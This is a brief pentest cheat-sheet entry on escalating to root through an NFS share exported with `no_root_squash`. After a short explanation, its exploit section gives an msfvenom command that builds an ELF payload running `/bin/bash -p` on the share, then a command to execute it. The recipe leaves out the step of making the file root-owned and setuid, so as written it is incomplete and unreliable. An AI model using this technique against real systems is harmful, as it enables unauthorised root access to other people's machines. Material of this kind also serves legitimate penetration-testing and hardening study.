# NFS NO ROOT SQUASH Mount NFS locally and gain root through activated `no_root_squash`. When "no_root_squash" is enabled on an NFS share, it means that the "root" user from the client system retains its full privileges when interacting with files on the NFS share. In other words, any actions performed by the "root" user on the client system are replicated with full permissions on the NFS server. This can potentially lead to a security vulnerability, especially if the client system is compromised or maliciously manipulated. ## Exploit ### Craft a Shell Craft a shell and execute it on the NFS share which has `no_root_squash` enabled to gain root privilege. ```sh msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf ``` After the shell has been created on or copied to the share, execute it on the target share ```sh ./shell.elf -p ```